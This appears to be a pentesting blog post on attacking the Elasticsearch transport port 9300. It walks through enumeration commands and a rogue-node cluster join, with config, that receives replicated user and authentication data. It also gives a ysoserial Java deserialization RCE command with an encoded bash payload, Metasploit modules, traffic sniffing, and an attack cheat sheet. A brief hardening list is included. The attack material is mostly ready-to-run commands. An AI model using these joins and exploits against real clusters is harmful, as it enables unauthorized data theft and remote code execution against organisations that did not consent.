Port 9300 Elasticsearch Transport: Cluster Join and Java RCE

Elasticsearch transport port 9300: Unauthorized cluster join, data replication to malicious node, Java deserialization RCE CVE-2015-5377, and operational differences from port 9200.
- Posted on 2026-04-18
- Reading time: 4 min
While port 9200 is Elasticsearch's public port—the one that responds to REST queries and that all pentesters know—TCP port 9300 is its private side. It's the binary transport protocol that Elasticsearch nodes use to communicate with each other: shard synchronization, data replication, master election, and query distribution. It's not intended for end-user use, and for this very reason, it's often more overlooked and less secure than port 9200.
To put this into context: Elasticsearch is almost always deployed as a cluster of multiple nodes. Your data—logs, documents, metrics—isn't stored on a single server, but is distributed across 3, 5, 10, or more nodes that continuously exchange information via port 9300. This binary protocol handles critical operations: when a node goes offline, the others redistribute its data; when you query one node, it contacts the others to collect the results. Port 9300 is the cluster's nervous system.
In penetration testing, the exposed 9300 opens up different attack vectors than the 9200: cluster join (an attacker can add a malicious node to the cluster and receive copies of all data), Java deserialization (the protocol transports serialized Java objects — fertile ground for RCE), and man-in-the-middle between nodes (interception of replicated data).
How the Transport Protocol Works #
Transport Protocol (:9300)
┌─────────────────────┐
Node 1 ◄──────────►│ Cluster gossip │◄──────────► Node 3
(:9200/:9300) │ Shard replication │ (:9200/:9300)
│ Query distribution │
Node 2 ◄──────────►│ Master election │
(:9200/:9300) └─────────────────────┘
Client (REST API :9200) ← L'utente normale usa questa
Attacker (Transport :9300) ← Noi entriamo da quiThe 9300 uses Elasticsearch's proprietary binary protocol based on Java serialization. It's not HTTP — you can't query it with curlSpecific tools or Java libraries are required.
1. Enumeration #
Nmap #
nmap -sV -p 9200,9300 10.10.10.40PORT STATE SERVICE VERSION
9200/tcp open http Elasticsearch REST API 8.11.3
9300/tcp open elasticsearch-tcp Elasticsearch Transport 8.11.3If 9300 is open but 9200 is not → the node is configured as “data only” or “transport only”, hidden from the REST API but reachable via transport.
Banner grab #
# Il protocollo non è HTTP, ma possiamo catturare il banner iniziale
echo -e '\x45\x53' | nc -w 3 10.10.10.40 9300 | xxd | head -10If you receive binary data with ES in the header → Elasticsearch Transport confirmed.
Nmap script #
nmap -p 9300 --script=elasticsearch-info 10.10.10.40Discover all nodes in the cluster #
If you have access to port 9200 on any node:
curl -s http://10.10.10.40:9200/_cat/nodes?v&h=ip,name,node.role,versionip name node.role version
10.10.10.40 es-prod-01 cdfhilmr 8.11.3
10.10.10.41 es-prod-02 cdfhilmr 8.11.3
10.10.10.42 es-prod-03 cdfhilmr 8.11.3Three nodes → three 9300 ports to test. Often, one is less secure than the others.
# Dettagli completi dei nodi (include transport address)
curl -s http://10.10.10.40:9200/_nodes?pretty | grep -A3 "transport_address""transport_address": "10.10.10.40:9300",
"transport_address": "10.10.10.41:9300",
"transport_address": "10.10.10.42:9300"2. Cluster Join — Add a Malicious Node #
In Elasticsearch versions without TLS on the transport layer (the default up to 7.x, and any version without X-Pack Security), any machine that knows the cluster name can join as a node . Once inside the cluster, the node automatically receives copies of the data (shard replication).
Prerequisites #
You must know the cluster.name —you get it from gate 9200
:
curl -s http://10.10.10.40:9200/ | python3 -c "import json,sys;print(json.load(sys.stdin)['cluster_name'])"productionJoin with local Elasticsearch #
# Installa Elasticsearch sulla tua macchina attacker
# Configura elasticsearch.yml:
cat > /tmp/es-attacker.yml << 'EOF'
cluster.name: production
node.name: attacker-node
network.host: 10.10.10.200
discovery.seed_hosts: ["10.10.10.40:9300"]
node.roles: [data]
EOF
# Avvia con la config custom
ES_PATH_CONF=/tmp elasticsearchIf the cluster accepts your node, Elasticsearch begins replicating shards to your machine. You're receiving a copy of the cluster's data.
# Verifica che il join sia riuscito
curl -s http://10.10.10.200:9200/_cat/nodes?vIf you see your attacker-node in the list → you are inside the cluster.
What happens after the join #
The cluster automatically redistributes shards. Your node receives copies of the data—you can query them locally:
curl -s http://10.10.10.200:9200/_cat/shards?v | grep "attacker-node"users 0 r STARTED 150000 890mb 10.10.10.200 attacker-node
logs-auth-2026.02 2 r STARTED 1200000 800mb 10.10.10.200 attacker-nodeYou have a replica of the index users (150K documents) and authentication logs.
3. Java Deserialization — RCE via Transport #
The transport protocol uses Java serialization to exchange messages between nodes. Older versions of Elasticsearch (1.x-5.x) are vulnerable to Java deserialization RCE on port 9300.
CVE-2015-5377 — Transport RCE #
# ysoserial payload via transport protocol
# Richiede un client Java custom che si connette alla 9300
java -cp ysoserial.jar:es-transport-client.jar \
ExploitTransport 10.10.10.40 9300 CommonsCollections5 "bash -c {echo,YmFzaA==}|{base64,-d}|bash"Metasploit #
use exploit/multi/elasticsearch/search_groovy_script
# Questo modulo usa la REST API, ma per la 9300:
use exploit/multi/misc/java_rmi_server
# Configurato per Elasticsearch transportSpecific tools #
# elasticsearch-rce — exploit per transport protocol
python3 es_transport_rce.py -t 10.10.10.40 -p 9300 -c "id"4. Transport Traffic Sniffing #
If you are in MITM position in the network (ARP spoofing, privileged position):
# Cattura traffico tra nodi Elasticsearch
tcpdump -i eth0 -w es_transport.pcap port 9300
# Analizza con Wireshark
wireshark es_transport.pcapTraffic on the 9300 is not encrypted by default; it contains data replicated between nodes in serialized Java format. Parsing tools can extract documents in transit.
5. Operational Differences: 9300 vs 9200 #
| Appearance | Port 9200 (REST) | Port 9300 (Transport) |
|---|---|---|
| Protocol | HTTP/JSON | Java Binary |
| Primary use | Client queries | Inter-node communication |
| Standard tool | curl, browser | Java client, custom tools |
| Auth default | None (pre-8.x) | None (pre-8.x) |
| RCE vector | Script fields (Groovy) | Java Deserialization |
| Data access | Query → results | Cluster join → full replication |
| TLS | Configurable | Configurable (often ignored) |
Practical strategy: If the 9200 is protected (auth, firewall) but the 9300 is not, attack the 9300. If both are open, the 9200 is easier to use. The 9300 is plan B—and a powerful plan B.
6. Detection & Hardening #
- TLS on transport
xpack.security.transport.ssl.enabled: truewith certificates for each node - Secure cluster join
discovery.seed_hostsexplicit, not0.0.0.0 - Firewall — port 9300 open only between cluster nodes, blocked for all others
- Don't post 9300 on the Internet — never
- X-Pack Security — authentication also on the transport layer
- Monitor new nodes in the cluster: an unexpected node = possible attacker
- Update — Java deserializations are fixed in recent releases
7. Final Cheat Sheet #
| Action | Command |
|---|---|
| Nmap | nmap -sV -p 9200,9300 target |
| Cluster nodes | curl http://target:9200/_cat/nodes?v |
| Transport address | curl http://target:9200/_nodes?pretty | grep transport |
| cluster name | curl http://target:9200/ | grep cluster_name |
| Cluster join | setup cluster.name + discovery.seed_hosts → start ES |
| Local Shards | curl http://localhost:9200/_cat/shards?v |
| Deserialization | java -cp ysoserial.jar ExploitTransport target 9300 payload cmd |
| Sniff | tcpdump -i eth0 -w capture.pcap port 9300 |
| Searchsploit | searchsploit elasticsearch |
Reference: Elasticsearch Transport Protocol, Elasticsearch HackTricks, Java Deserialization Attacks. Use only in authorized environments.
Does your company's Elasticsearch have port 9300 open to the network? Find out with a HackIta assessment before anyone joins your cluster. Learn about distributed exploitation: advanced 1:1 training.








